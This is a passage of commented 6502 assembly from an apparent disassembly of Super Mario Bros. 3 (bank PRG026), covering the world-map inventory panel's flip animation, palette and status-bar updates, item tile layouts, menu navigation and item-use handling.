LDX Inventory_Open ; X = Inventory_Open
BEQ PRG026_A109 ; If Inventory_Open = 0, jump to PRG026_A109
LDA #$08 ; Otherwise, A = 8 (?)
PRG026_A109:
STA InvFlip_Frame ; Update the lo index
INC InvFlip_Counter ; InvFlip_Counter = 2
PRG026_A10F:
RTS ; Return
; Palette changes for opening the Inventory
; This is data in the style of the Video_Upd_Table; see "Video_Upd_Table" in PRG030 for format.
Inv_OpenPal_Changes:
vaddr $3F00 ; Palette
.byte $04, $0F, $0F, $30, $3C ; Palette set
.byte $00 ; Terminator
Inventory_DoFlipPalChange:
LDX Graphics_BufCnt ; X = Graphics_BufCnt
LDY #$00 ; Y = 0
; Copy in the palette changes
PRG026_A11D:
LDA Inv_OpenPal_Changes,Y ; Get next byte
STA Graphics_Buffer,X ; Store into the buffer
INX ; X++
INY ; Y++
CPY #$08
BNE PRG026_A11D ; While Y < 8, loop!
LDY #$3c ; Y = $3C (Closed cyan color)
LDX Graphics_BufCnt ; X = Graphics_BufCnt
LDA Inventory_Open ; A = Inventory_Open
BEQ PRG026_A135 ; If Inventory_Open = 0, jump to PRG026_A135
; Inventory_Open...
LDY #$36 ; Y = $36 (Inventory_Open salmon color)
PRG026_A135:
TYA ; A = Y
STA Graphics_Buffer+6,X ; Store the color into the graphics buffer
STA Palette_Buffer+3 ; And also the CURRENT palette buffer
STA Pal_Data+3 ; And also the MASTER palette buffer
LDA Graphics_BufCnt
ADD #$07
STA Graphics_BufCnt ; Pal_Data += 7
INC InvFlip_Counter ; InvFlip_Counter = 3
RTS ; Return...
; This is data in the style of the Video_Upd_Table; see "Video_Upd_Table" in PRG030 for format.
Flip_Video_Data_Opening: ; Inventory_Open = 1
Flip_TopBarInv:
vaddr $2B00
.byte $02, $FC, $A0
vaddr $2B02
.byte VU_REPEAT | $1C, $A1
vaddr $2B1E
.byte $02, $A2, $FC
.byte $00
; If editing this, check out note under PRG026_A2E4, "MAGIC 12 OFFSET"
Flip_MidTItems:
vaddr $2B20
; | W O R LD [x]
.byte 32, $FC, $A6, $70, $71, $72, $73, $FE, $FE, $FE
; Top of items start rendering here (replaced at runtime)
; Item 1 Item 2 Item 3 Item 4 Item 5 Item 6 Item 7
.byte $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE
; |
.byte $A7, $FC
.byte $00
; If editing this, check out note under PRG026_A2E4, "MAGIC 12 OFFSET"
Flip_MidBItems:
vaddr $2B40
; | < M > x [ Lives]
.byte 32, $FC, $A6, $74, $75, $FB, $FE, $F3, $FE, $FE
; Bottom of items start rendering here (replaced at runtime)
; Item 1 Item 2 Item 3 Item 4 Item 5 Item 6 Item 7
.byte $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE, $FE
; |
.byte $A7, $FC
.byte $00
Flip_BottomBarInv:
vaddr $2B60
.byte 2, $FC, $A8
vaddr $2B62
.byte VU_REPEAT | 28, $A4
vaddr $2B7E
.byte 2, $A5, $FC
.byte $00
; ******************************************************************
; This is data in the style of the Video_Upd_Table; see "Video_Upd_Table" in PRG030 for format.
Flip_Video_Data_Closing: ; Inventory_Open = 0
Flip_TopBarMid:
vaddr $2B20
.byte 2, $FC, $A0
vaddr $2B22
.byte VU_REPEAT | 28, $A1
vaddr $2B3E
.byte 2, $A2, $FC
.byte $00
Flip_BotBarMid:
; Lower left corner
vaddr $2B40
.byte 2, $FC, $A8
; Bottom bar
vaddr $2B42
.byte VU_REPEAT | 28, $A4
; Upper right corner
vaddr $2B5E
.byte 2, $A5, $FC
.byte $00
Flip_EraseTopBarMid:
vaddr $2B20
.byte VU_REPEAT | 32, $FC
.byte $00
Flip_EraseBotBarMid:
vaddr $2B40
.byte VU_REPEAT | 32, $FC
.byte $00
; Sync with PRG030 "StatusBar" macro
Flip_TopBarCards:
vaddr $2B00
.byte 2, $FC, $A0
vaddr $2B02
.byte VU_REPEAT | 18, $A1 ; Bar across the top
vaddr $2B14
.byte 12, $A2, $A0, $A1, $A1, $A3, $A1, $A1, $A3, $A1, $A1, $A2, $FC ; top of card slots
.byte $00
; Sync with PRG030 "StatusBar" macro
; If editing this, check out note under PRG026_A2E4, "MAGIC 12 OFFSET"
Flip_MidTStatCards:
vaddr $2B20
.byte $20, $FC, $A6, $70, $71, $72, $73, $FE, $FE, $EF, $EF, $EF, $EF, $EF, $EF, $3C ; |WORLD >>>>>>[P] $ | | | | | | | |
.byte $3D, $FE, $EC, $FE, $F0, $A7, $A6, $FE, $FE, $AA, $FE, $FE, $AA, $FE, $FE, $A7, $FC
; Discrepency --------^ (Pattern is ... $F0, $F0 ... in PRG030 status bar graphics)
.byte $00
; Sync with PRG030 "StatusBar" macro
; If editing this, check out note under PRG026_A2E4, "MAGIC 12 OFFSET"
Flip_MidBStatCards:
vaddr $2B40
; Discrepency --------v (Pattern is ... $FE, $FE ... in PRG030 status bar) Unimportant; inserts <M> which is replaced anyway
.byte 32, $FC, $A6, $74, $75, $FB, $FE, $F3, $FE, $F0, $F0, $F0, $F0, $F0, $F0 ; [M/L]x 000000 c000| etc.
.byte $F0, $FE, $ED, $F0, $F0, $F0, $A7, $A6, $FE, $FE, $AA, $FE, $FE, $AA, $FE
.byte $FE, $A7, $FC
; Discrepency --------^ (Pattern is ... $F4, $F0 ... in PRG030 status bar graphics)
.byte $00
; Sync with PRG030 "StatusBar" macro
Flip_BottomBarCards:
vaddr $2B60
.byte $02, $FC, $A8 ; Lower corner
vaddr $2B62
.byte VU_REPEAT | 18, $A4 ; Bottom bar
vaddr $2B74
.byte $0C, $A5, $A8, $A4, $A4, $A9, $A4, $A4, $A9, $A4, $A4, $A5, $FC ; lower corner and card bottoms
.byte $00
Flip_END:
; ******************************************************************
InvGBuf_By_Open: ; Points to two different graphics buffer data blocks depending on Inventory_Open
.word Flip_Video_Data_Closing, Flip_Video_Data_Opening
FVDC .func \1-Flip_Video_Data_Closing
FVDO .func \1-Flip_Video_Data_Opening
Flip_Video_Offsets:
; Offsets into Flip_Video_Data_Closing
.byte FVDC(Flip_TopBarMid) ; 0: Draw top bar (at middle)
.byte FVDC(Flip_BotBarMid) ; 1: Draw bottom bar (at middle)
.byte FVDC(Flip_EraseTopBarMid) ; 2: Erase top bar (at middle)
.byte FVDC(Flip_EraseBotBarMid) ; 3: Erase bottom bar (at middle)
.byte FVDC(Flip_MidTStatCards) ; 4: Draw top middle row of normal status bar/cards
.byte FVDC(Flip_MidBStatCards) ; 5: Draw bottom middle row of normal status bar/cards
.byte FVDC(Flip_TopBarCards) ; 6: Draw top bar (at top)
.byte FVDC(Flip_BottomBarCards) ; 7: Draw bottom bar (at bottom)
; Offsets into Flip_Video_Data_Opening (note reuse of Closing data)
.byte FVDO(Flip_TopBarMid) ; 8: Draw top bar (at middle)
.byte FVDO(Flip_BotBarMid) ; 9: Draw bottom bar (at middle)
.byte FVDO(Flip_EraseTopBarMid) ; 10: Erase top bar (at middle)
.byte FVDO(Flip_EraseBotBarMid) ; 11: Erase bottom bar (at middle)
.byte FVDO(Flip_MidTItems) ; 12: Draw top middle row of inventory
.byte FVDO(Flip_MidBItems) ; 13: Draw bottom middle row of inventory
.byte FVDO(Flip_TopBarInv) ; 14: Draw top bar (at top)
.byte FVDO(Flip_BottomBarInv) ; 15: Draw bottom bar (at bottom)
Flip_Video_Ends:
; Ending data addresses per offset into Flip_Video_Data_Closing (when to stop copying!)
.byte FVDC(Flip_BotBarMid) ; 0
.byte FVDC(Flip_EraseTopBarMid) ; 1
.byte FVDC(Flip_EraseBotBarMid) ; 2
.byte FVDC(Flip_TopBarCards) ; 3
.byte FVDC(Flip_MidBStatCards) ; 4
.byte FVDC(Flip_BottomBarCards) ; 5
.byte FVDC(Flip_MidTStatCards) ; 6
.byte FVDC(Flip_END) ; 7
; Ending data addresses per offset into Flip_Video_Data_Opening (when to stop copying!)
.byte FVDO(Flip_BotBarMid) ; 8
.byte FVDO(Flip_EraseTopBarMid) ; 9
.byte FVDO(Flip_EraseBotBarMid) ; 10
.byte FVDO(Flip_TopBarCards) ; 11
.byte FVDO(Flip_MidBItems) ; 12
.byte FVDO(Flip_BottomBarInv) ; 13
.byte FVDO(Flip_MidTItems) ; 14
.byte FVDO(Flip_TopBarMid) ; 15
InvFlip_TileLayout_Sel:
; Based on Inventory_Open
.word InvCard_Tile_Layout ; When inventory closing, render cards
.word InvItem_Tile_Layout ; When inventory opening, render items
InvItem_Tile_Layout:
; Item tiles layout when closing/unselected
; NOTE: See also InvItem_Hilite_Layout
.byte $FE, $FE, $FE, $FE ; Empty
.byte $20, $21, $30, $31 ; Super Mushroom
.byte $22, $23, $32, $33 ; Fire Flower
.byte $0E, $0F, $1E, $1F ; Leaf
.byte $0A, $0B, $1A, $1B ; Frog Suit
.byte $00, $01, $10, $11 ; Tanooki Suit
.byte $28, $29, $38, $39 ; Hammer Suit
.byte $08, $09, $18, $19 ; Judgems Cloud
.byte $2A, $2B, $3A, $3B ; P-Wing
.byte $24, $25, $34, $35 ; Starman
.byte $02, $03, $12, $13 ; Anchor
.byte $06, $07, $16, $17 ; Hammer
.byte $04, $05, $14, $15 ; Warp Whistle
.byte $0C, $0D, $1C, $1D ; Music Box
InvCard_Tile_Layout:
.byte $FE, $FE, $FE, $FE ; No card
.byte $E0, $E1, $E2, $E3 ; Mushroom
.byte $E4, $E6, $E7, $E8 ; Flower
.byte $AC, $AD, $AE, $AF ; Star
Inventory_DoFlipVideoUpd:
LDA Inventory_Open
ASL A
TAX ; X = Inventory_Open << 1
; Store address to video data into Temp_Var15 based on Inventory_Open status
LDA InvGBuf_By_Open,X
STA <Temp_Var15
LDA InvGBuf_By_Open+1,X
STA <Temp_Var16
; InvFlip_Frame indexes which block of video data we'll be using...
LDY InvFlip_Frame ; Y = InvFlip_Frame
LDA Flip_Video_Ends,Y ; Get offset value that is the END of the video data
STA <Temp_Var13 ; Store into Temp_Var13
LDA Flip_Video_Offsets,Y ; Get offset value that is the BEGINNING of the video data
TAY ; Y = A
LDX Graphics_BufCnt
STX <Temp_Var9 ; Temp_Var9 = Graphics_BufCnt (where in Graphics_Buffer we begin)
; Copy all of the video update data into the Graphics_Buffer
PRG026_A2E4:
LDA [Temp_Var15],Y ; Get next byte
STA Graphics_Buffer,X ; Store it into the buffer
INX ; X++
INY ; Y++
CPY <Temp_Var13
BNE PRG026_A2E4 ; While Y <> end of update data, loop!
LDA Graphics_BufCnt
ADD #12
STA <Temp_Var13 ; Temp_Var13 = Offset to 12 bytes in from where we started the graphics buffer
DEX
STX Graphics_BufCnt ; Update Graphics_BufCnt with where the buffer actually is
LDA InvFlip_Frame
AND #$07
TAX
DEX ; X = (InvFlip_Frame & 7) - 1
SUB #$04 ; A = (InvFlip_Frame & 7) - 4
CMP #$02
BGE PRG026_A30C ; If A >= 2, jump to PRG026_A30C
JSR Inventory_DrawItemsOrCards ; Otherwise, JSR to Inventory_DrawItemsOrCards
PRG026_A30C:
JSR InvFlipFrame_UpdateStatusBar ; Update status bar as needed for flip frame
INC InvFlip_Frame ; InvFlip_Frame++
LDA InvFlip_Frame
AND #$07
BNE PRG026_A327 ; If InvFlip_Frame & 7 <> 0, jump to PRG026_A327 (RTS)
; We've reached fully open or closed!
LDA Inventory_Open
BNE PRG026_A324 ; If fully open, jump to PRG026_A324
; Fully closed!
LDA #$00
STA InvFlip_Counter ; InvFlip_Counter = 0
RTS ; Return!
PRG026_A324:
; Fully open...
INC InvFlip_Counter ; InvFlip_Counter = 4
PRG026_A327:
RTS ; Return
Inventory_DrawItemsOrCards:
LDA Inventory_Open
BNE PRG026_A344 ; If Inventory_Open <> 0, jump to PRG026_A344
; Inventory is closing! Set up for cards
LDA #(Inventory_Cards - Inventory_Items) ; Mario's cards
LDX Player_Current ; X = Player_Current
BEQ PRG026_A336 ; If Player_Current = 0 (Mario), jump to PRG026_A336
LDA #(Inventory_Cards2 - Inventory_Items) ; Luigi's cards
PRG026_A336:
STA <Temp_Var14 ; Store this into Temp_Var14 (offset to first pattern in card layout)
LDA <Temp_Var13 ; A = 12 bytes into the graphics buffer we just did
ADD #$0d
STA <Temp_Var13 ; Temp_Var13 += $D
LDA #$02 ; A = 2
JMP PRG026_A355 ; Jump to PRG026_A355...
PRG026_A344:
; Inventory is opening! Set up for inventory items!
LDA #(Inventory_Items - Inventory_Items) ; Mario's inventory
LDX Player_Current ; X = Player_Current
BEQ PRG026_A34D ; If Player_Current = 0 (Mario), jump to PRG026_A34D
LDA #(Inventory_Items2 - Inventory_Items) ; Luigi's inventory
PRG026_A34D:
ADD InvStart_Item ; Offset to the starting item
STA <Temp_Var14 ; Store this into Temp_Var14 (offset to first pattern in item layout)
LDA #$06 ; Number of items to display minus one
PRG026_A355:
STA <Temp_Var11 ; Store number of items to display...
; Set pointer to proper render items
LDA Inventory_Open
ASL A
TAX ; X = Inventory_Open * 2 (2 byte index)
LDA InvFlip_TileLayout_Sel,X
STA <Temp_Var15
LDA InvFlip_TileLayout_Sel+1,X
STA <Temp_Var16 ; Temp_Var15/16 point to start of pattern data for inventory items / cards
PRG026_A366:
LDY <Temp_Var14 ; Starting item/card offset
LDA Inventory_Items,Y ; Get this item
BEQ PRG026_A38B ; If it's an empty slot, jump to PRG026_A38B
; Item/card to process...
ASL A
ASL A
TAY ; Y = item << 2
LDA InvFlip_Frame
AND #$07
CMP #$04
BEQ PRG026_A37D ; If currently on InvFlip_Frame = 4 or 12 (drawing the top half of items/cards), jump to PRG026_A37D
; On frame 5, the bottom half of the object/card is drawn in
TYA
ORA #$02
TAY ; Y (item offset) OR'd with 2 (do the bottom half of the object!)
PRG026_A37D:
; This loop copies two bytes of the item/card
; into the buffer; the graphic is made up of 4 bytes,
; but in a single row of 8x8s, it's two at a time :)
LDX <Temp_Var13 ; X = Temp_Var13 (offset into the graphics buffer)
PRG026_A37F:
LDA [Temp_Var15],Y ; Get next tile for this power-up
STA Graphics_Buffer,X ; Store it into the graphics buffer
INX ; X++
INY ; Y++
TYA
AND #$01 ; A = Y & 1
BNE PRG026_A37F ; If A <> 0, loop (loops for two bytes)
PRG026_A38B:
LDA <Temp_Var13 ; X = Temp_Var13 (offset into the graphics buffer)
ADD #$03
STA <Temp_Var13 ; Temp_Var13 += 3 (2 for the power-up, 1 for spacing)
INC <Temp_Var14 ; Next item!
DEC <Temp_Var11 ; One less item left to display...
BPL PRG026_A366 ; While Temp_Var11 >= 0, loop!
PRG026_A398:
InvFlipFrame_DoNothing:
RTS ; Return...
InvFlipFrame_UpdateStatusBar:
LDA InvFlip_Frame
AND #$07
JSR DynJump
; THESE MUST BE HERE FOR DynJump TO WORK!
.word InvFlipFrame_DoNothing ; 0
.word InvFlipFrame_DoNothing ; 1
.word InvFlipFrame_DoNothing ; 2
.word InvFlipFrame_DoNothing ; 3
.word InvFlipFrame_DrawWorldCoins ; 4
.word InvFlipFrame_DrawMLLivesScore ; 5
.word InvFlipFrame_DoNothing ; 6
.word InvFlipFrame_DoNothing ; 7
InvFlipFrame_DrawWorldCoins:
JSR StatusBar_Fill_World ; Put world number in status bar
LDA InvFlip_Frame
AND #$08
BNE PRG026_A3CC ; If we're doing the opening, jump to PRG026_A3CC
JSR StatusBar_Fill_Coins ; Put coins in status bar
LDX <Temp_Var9 ; X = Temp_Var9
LDA StatusBar_CoinH
STA Graphics_Buffer+$15,X
LDA StatusBar_CoinL
STA Graphics_Buffer+$16,X
PRG026_A3CC:
RTS ; Return
InvFlipFrame_DrawMLLivesScore:
JSR StatusBar_Fill_MorL ; Put <M> or <L> in status bar
JSR StatusBar_Fill_Lives ; Put lives in status bar
LDX <Temp_Var9 ; X = Temp_Var9
LDA StatusBar_LivesH
STA Graphics_Buffer+8,X
LDA StatusBar_LivesL
STA Graphics_Buffer+9,X
LDA InvFlip_Frame
AND #$08
BNE PRG026_A3FB ; If we're doing the opening, jump to PRG026_A3FB (RTS)
JSR StatusBar_Fill_Score ; Put score in status bar
; Patch in all of the digits of score
LDX <Temp_Var9 ; X = Temp_Var9
LDY #$00 ; Y = 0
PRG026_A3EF:
LDA StatusBar_Score,Y
STA Graphics_Buffer+11,X
INX ; X++ (next graphics buffer byte)
INY ; Y++ (next digit of score)
CPY #$06
BNE PRG026_A3EF ; While 'Y' <> $06, loop
PRG026_A3FB:
RTS ; Return
; These tables really define a lot of behavior for the inventory item menu
InvItem_AddSub: .byte 7, -7 ; Press down to go forward 7 items, up to go back 7 items
InvItem_IndexOOR: .byte 28, -7 ; Out-of-range index values for wrap-around when pressing down/up
InvItem_Wrap: .byte 0, 21 ; Wrap-around values for Inventory start
InvItem_NextPrior: .byte 24, -24 ; Whether left or right was pressed, how to add/sub the highlight X position
InvItem_HiliteOORX: .byte 240, 48 ; Highlight out-of-range X position to tell when at ends, for right/left
InvItem_HiliteMinMax: .byte 72, 216 ; Highlight left min and right max for right/left overflows
InvItem_RightLeft: .byte 1, -1 ; Whether right or left was pressed, how to inc/dec the highlight index
InvItem_RightLeftMinMax:.byte 0, 6 ; Right/left overflows wrap-around index value
InvItem_PerPlayerOff: .byte $00, (Inventory_Items2 - Inventory_Items) ; Offset per player
Inventory_DoPowerupUse:
LDA Map_Powerup_Poof
BNE PRG026_A398 ; If no power-up "poof" effect occurring, jump to PRG026_A398 (RTS)
LDA <Map_UseItem
BEQ PRG026_A41A ; If Map_UseItem = 0 (not using item), jump to PRG026_A41A
JMP PRG026_A4FC ; Otherwise, jump to PRG026_A4FC
PRG026_A41A:
; Not using item
LDA Pad_Input ; Get Player
AND #(PAD_B | PAD_START) ; B or START close the Inventory panel
BEQ PRG026_A436 ; If neither B nor START are pressed, jump to PRG026_A436
; Need to close the panel
LDA #SND_MAPINVENTORYFLIP
STA Sound_QMap ; Play inventory flip sound
Inventory_ForceFlip:
LDA Inventory_Open
EOR #$01
STA Inventory_Open ; Inventory_Open ^= 1 (set to opposite)
LDA #$00
STA InvFlip_Counter ; Reset Inventory_Open
JMP Inventory_DoHilites ; Jump to Inventory_DoHilites
PRG026_A436:
; Neither B nor START pressed
LDA Pad_Input
AND #(PAD_DOWN | PAD_UP)
BEQ PRG026_A491 ; If neither up nor down pressed, jump to PRG026_A491
; Up or Down pressed...
LSR A
LSR A
LSR A
TAY ; Y = Pad_Input >> 3 (will be 0 if down, 1 if up)
LDA #SND_LEVELBLIP
STA Sound_QLevel1 ; Play item select sound
LDA InvStart_Item ; A = InvStart_Item
ADD InvItem_AddSub,Y ; +/- 7 based on up/down
STA InvStart_Item ; Update InvStart_Item
CMP InvItem_IndexOOR,Y
BNE PRG026_A45B ; If we haven't hit the max or min, jump to PRG026_A45B
; We've hit a limit!
LDA InvItem_Wrap,Y
STA InvStart_Item ; Wrap-around
PRG026_A45B:
LDX InvStart_Item ; X = InvStart_Item
LDA Player_Current ; A = Player_Current
BEQ PRG026_A468 ; If Player_Current = 0 (Mario), jump to PRG026_A468
TXA ; A = InvStart_Item
ADD #(Inventory_Items2 - Inventory_Items) ; Offset to Luigi's items
TAX ; X = offset to item
PRG026_A468:
LDY Player_Current ; Y = Player_Current
TXA ; A = starting of the row Inventory item
CMP InvItem_PerPlayerOff,Y ; If it's the very first item of this player (just wrapped around)
BEQ PRG026_A476 ; If so, jump to PRG026_A476
LDA Inventory_Items,X ; A = next item
BEQ PRG026_A436 ; Jump to PRG026_A436 if row is not empty
PRG026_A476:
LDA Inventory_Items,X ; A = next item
JSR InvItem_SetColor ; Properly set colors for this item
Inventory_ForceUpdate_AndFlip:
LDA #$0c
STA InvFlip_Frame ; InvFlip_Frame = $0C
LDA #$03
STA InvFlip_Counter ; InvFlip_Counter = 3
LDA #$00
STA InvHilite_Item ; InvHilite_Item = 0 (first item highlighted on new row)
LDA #$48
STA InvHilite_X ; InvHilite_X = $48 (first item highlighted on new row)
RTS ; Return...
PRG026_A491:
; Neither B nor START nor Up nor Down pressed...
LDA Level_Tileset
CMP #$07
BEQ PRG026_A4A6 ; If Level_Tileset = 7 (Toad House), jump to PRG026_A4A6 (RTS)
LDY #$00 ; Y = 0
LDX Player_Current ; X = Player_Current
BEQ PRG026_A4A1 ; If Player_Current = 0 (Mario), jump to PRG026_A4A1
LDY #(Inventory_Items2 - Inventory_Items) ; Offset to Luigi's items
PRG026_A4A1:
LDA Inventory_Items,Y
BNE PRG026_A4A7 ; If first item is not empty, jump to PRG026_A4A7
PRG026_A4A6:
RTS ; Otherwise, just return...
PRG026_A4A7:
LDA <Pad_Input
AND #(PAD_LEFT | PAD_RIGHT)
BEQ PRG026_A4F6 ; If neither left nor right is pressed, jump to PRG026_A4F6
LSR A ; Diminish to 0/1 condition (right = 0, left = 1)
TAX ; Move result to X
LDA #SND_LEVELBLIP
STA Sound_QLevel1 ; Play item selection sound
PRG026_A4B4:
LDA InvHilite_Item
ADD InvItem_RightLeft,X ; Inc/Dec InvHilite_Item appropriately
STA InvHilite_Item ; Update InvHilite_Item
LDA InvHilite_X
ADD InvItem_NextPrior,X ; Add/Sub to highlight X as appropriate
STA InvHilite_X ; Update InvHilite_X
CMP InvItem_HiliteOORX,X
BNE PRG026_A4D9 ; If we have NOT hit an item limit, jump to PRG026_A4D9
; Properly wrap the item selection around to the left or right side
LDA InvItem_RightLeftMinMax,X
STA InvHilite_Item
LDA InvItem_HiliteMinMax,X
STA InvHilite_X
PRG026_A4D9:
LDA InvHilite_Item
ADD InvStart_Item
TAY ; Y = InvHilite_Item + InvStart_Item
LDA Player_Current ; A = Player_Current
BEQ PRG026_A4EB ; If Player_Current = 0 (Mario), jump to PRG026_A4EB
; Luigi...
TYA
ADD #(Inventory_Items2 - Inventory_Items)
TAY ; Y = InvHilite_Item + InvStart_Item + Luigi offset
PRG026_A4EB:
LDA Inventory_Items,Y ; Get the selected item
BEQ PRG026_A4B4 ; If item is zero (empty slot), jump to PRG026_A4B4 (moves inventory slot back)
JSR InvItem_SetColor ; Otherwise, set the color...
JMP PRG026_A511 ; Then jump to PRG026_A511
PRG026_A4F6:
LDA <Pad_Input
AND #PAD_A
BEQ PRG026_A511 ; If Player is NOT pressing A, jump to PRG026_A511
PRG026_A4FC:
LDA InvHilite_Item
ADD InvStart_Item
TAY ; Y = InvHilite_Item + InvStart_Item
LDA Player_Current
BEQ PRG026_A50E ; If Player_Current = 0 (Mario), jump to PRG026_A50E
TYA
ADD #(Inventory_Items2 - Inventory_Items)
TAY ; Y += Luigi offset
PRG026_A50E:
JMP Inv_UseItem ; Use item and don't come back!
PRG026_A511:
JMP Inv_Display_Hilite ; Highlight item and don't come back!
InvItem_Pal:
; Per-Item LUT
; 0 1 2 3 4 5 6 7 8 9 10 11 12 13
.byte $16, $16, $2A, $2A, $2A, $17, $27, $16, $27, $16, $07, $17, $27, $27
InvItem_SetColor:
; Inventory is open ... assign proper color for item that is highlighted
LDX Level_Tileset ; X = Level_Tileset
CPX #$07
BEQ PRG026_A539 ; If Level_Tileset = 7 (Toad House), jump to PRG026_A539 (RTS)
TAX ; A = Current inventory item selected
LDA InvItem_Pal,X ; Get the color that will be used for this item
STA Palette_Buffer+30 ; Store it into the palette buffer
LDA #$36
STA Palette_Buffer+3 ; Ensure status bar color in there!
LDA #$06
STA <Graphics_Queue ; Update the palette when capable
PRG026_A539:
RTS ; Return
Inv_UseItem:
LDA Inventory_Items,Y ; Get which item to use
JSR DynJump ; Dynamic jump based on item used
; THESE MUST FOLLOW DynJump FOR THE DYNAMIC JUMP TO WORK!!
; Inventory per-item jump table!
.word PRG026_A4A6 ; Empty slot (shouldn't ever happen, but it will just RTS)
.word Inv_UseItem_Powerup ; Super Mushroom
.word Inv_UseItem_Powerup ; Fire Flower
.word Inv_UseItem_Powerup ; Leaf
.word Inv_UseItem_Powerup ; Frog Suit
.word Inv_UseItem_Powerup ; Tanooki Suit
.word Inv_UseItem_Powerup ; Hammer Suit
.word Inv_UseItem_Powerup ; Judgems Cloud
.word Inv_UseItem_Powerup ; P-Wing
.word Inv_UseItem_Starman ; Starman
.word Inv_UseItem_Anchor ; Anchor
.word Inv_UseItem_Hammer ; Hammer
.word Inv_UseItem_WarpWhistle ; Warp Whistle
.word Inv_UseItem_MusicBox ; Music Box
InvItem_PerPowerUp_L1Sound:
; Sound to play for each Power Up item when used...
.byte $00 ; Empty slot (shouldn't ever happen)
.byte SND_LEVELPOWER ; Super Mushroom
.byte SND_LEVELPOWER ; Fire Flower
.byte SND_LEVELPOOF ; Leaf
.byte SND_LEVELPOWER ; Frog Suit
.byte SND_LEVELPOOF ; Tanooki Suit
.byte SND_LEVELPOWER ; Hammer Suit
.byte SND_LEVELPOWER ; Judgems Cloud
.byte SND_LEVELPOWER ; P-Wing
InvItem_PerPowerUp_Disp:
; Powerup to display on map per powerup used
; ES SM FF L FS TS HS JC PW
.byte $00, $01, $02, $03, $04, $05, $06, $07, $08
.byte $FF
; These define the colors set per use of a power-up item. Note that only the first three
; bytes are actually used. "Power-up zero" (which I guess would be small Mario) is
; present here, likely for simplicity, but it is also not used (there is no "power down")
; See also PRG027 InitPals_Per_MapPUp
InvItem_PerPowerUp_Palette:
; Mario
.byte $16, $36, $0F, $FF ; "Empty Slot" (shouldn't ever be used)
.byte $16, $36, $0F, $FF ; Super Mushroom
.byte $27, $36, $16, $FF ; Fire Flower
.byte $16, $36, $0F, $FF ; Leaf
.byte $2A, $36, $0F, $FF ; Frog Suit
.byte $17, $36, $0F, $FF ; Tanooki Suit
.byte $30, $36, $0F, $FF ; Hammer Suit
.byte $30, $36, $0F, $FF ; Judgems Cloud
.byte $16, $36, $0F, $FF ; P-Wing
InvItem_PerPowerUp_Palette2:
; Luigi
.byte $1A, $36, $0F, $FF ; "Empty Slot" (shouldn't ever be used)
.byte $1A, $36, $0F, $FF ; Super Mushroom
.byte $27, $36, $16, $FF ; Fire Flower
.byte $1A, $36, $0F, $FF ; Leaf
.byte $2A, $36, $0F, $FF ; Frog Suit
.byte $17, $36, $0F, $FF ; Tanooki Suit
.byte $30, $36, $0F, $FF ; Hammer Suit
.byte $30, $36, $0F, $FF ; Judgems Cloud
.byte $1A, $36, $0F ; P-Wing (note lack of 4th byte)
Inv_UseItem_Powerup:
LDA InvHilite_Item
ADD InvStart_Item
TAY ; Y = InvHilite_Item + InvStart_Item (currently highlighted item)
LDA Player_Current
BEQ PRG026_A5C8 ; If Player_Current = 0 (Mario), jump to PRG026_A5C8
TYA
ADD #(Inventory_Items2 - Inventory_Items) ; Offset to Luigi's items
TAY ; Y, offset to Luigi
PRG026_A5C8:
LDX Inventory_Items,Y ; Get the item (should be a POWER-UP item, Super Mushroom to P-Wing only)
TXA
ASL A
ASL A
TAY ; Y = X << 2
LDA Player_Current
BEQ PRG026_A5D9 ; If Player_Current = 0 (Mario), jump to PRG026_A5D9
TYA
ADD #(InvItem_PerPowerUp_Palette2-InvItem_PerPowerUp_Palette) ; Offset for Luigi
TAY
PRG026_A5D9:
; Load the colors for this power-up into the palette buffer
LDA InvItem_PerPowerUp_Palette,Y
STA Palette_Buffer+17
LDA InvItem_PerPowerUp_Palette+1,Y
STA Palette_Buffer+18
LDA InvItem_PerPowerUp_Palette+2,Y
STA Palette_Buffer+19
; Queue palette update
LDA #$06
STA <Graphics_Queue
; Play the correct sound for this power up item
LDA InvItem_PerPowerUp_L1Sound,X
STA Sound_QLevel1
LDA InvItem_PerPowerUp_Disp,X ; Store proper power-up to display -> A
LDX Player_Current ; X = Player_Current
STA Map_Power_Disp ; Power-up to display -> Map_Power_Disp
CMP #$07
BEQ PRG026_A60B ; If Map_Power_Disp = $07 (Judgem's Cloud), jump to PRG026_A60B (does NOT update Player's map power!)
CMP #$08
BNE PRG026_A608 ; If Map_Power_Disp <> $08 (P-Wing), jump to PRG026_A608
LDA #$03 ; For P-Wing, "Map Power Up" is set as Leaf
PRG026_A608:
STA World_Map_Power,X ; Update appropriate player's "Map Power Up"
PRG026_A60B:
LDA #$14
STA Map_Powerup_Poof ; Map_Powerup_Poof = $14
LDX Player_Current ; X = Player_Current
; Target "Map Poof" on active Player
LDA <World_Map_Y,X
STA <MapPoof_Y
LDA <World_Map_X,X
STA <MapPoof_X
Inv_UseItem_ShiftOver:
LDA #27
STA <Temp_Var15 ; Temp_Var15 = 27 (last index of items to shift)
LDA InvHilite_Item
ADD InvStart_Item
TAY ; Y = InvHilite_Item + InvStart_Item
LDA Player_Current
BEQ PRG026_A638 ; If Player_Current = 0 (Mario), jump to PRG026_A638
LDA #27
ADD #(Inventory_Items2 - Inventory_Items) ; This could've been done as a constant, but oh well!
STA <Temp_Var15 ; Temp_Var15 += Luigi items offset (last index of Luigi items to shift)
TYA
ADD #(Inventory_Items2 - Inventory_Items)
TAY ; Y += Luigi items offset
; This loop "removes" the used item by backing the other items over it
PRG026_A638:
CPY <Temp_Var15
BEQ PRG026_A646
LDA Inventory_Items+1,Y
STA Inventory_Items,Y
INY
JMP PRG026_A638
PRG026_A646:
LDA #$00
STA Inventory_Items,Y ; This clears the very last item
PRG026_A64B:
LDY InvStart_Item ; Y = InvStart_Item
BEQ PRG026_A66B ; If InvStart_Item = 0, jump to PRG025_A66B
LDA Player_Current
BEQ PRG026_A65A ; If Player_Current = 0, jump to PRG026_A65A
TYA
ADD #(Inventory_Items2 - Inventory_Items)
TAY ; Y is Offset to Luigi's items
PRG026_A65A:
LDA Inventory_Items,Y ; Get item
BNE PRG026_A66B ; If Y <> 0, jump to PRG026_A66B
; If Player used first item on row, this backs it up one row
LDA InvStart_Item
SUB #$07
STA InvStart_Item ; InvStart_Item -= 7
JMP PRG026_A64B ; Jump to PRG026_A64B
PRG026_A66B:
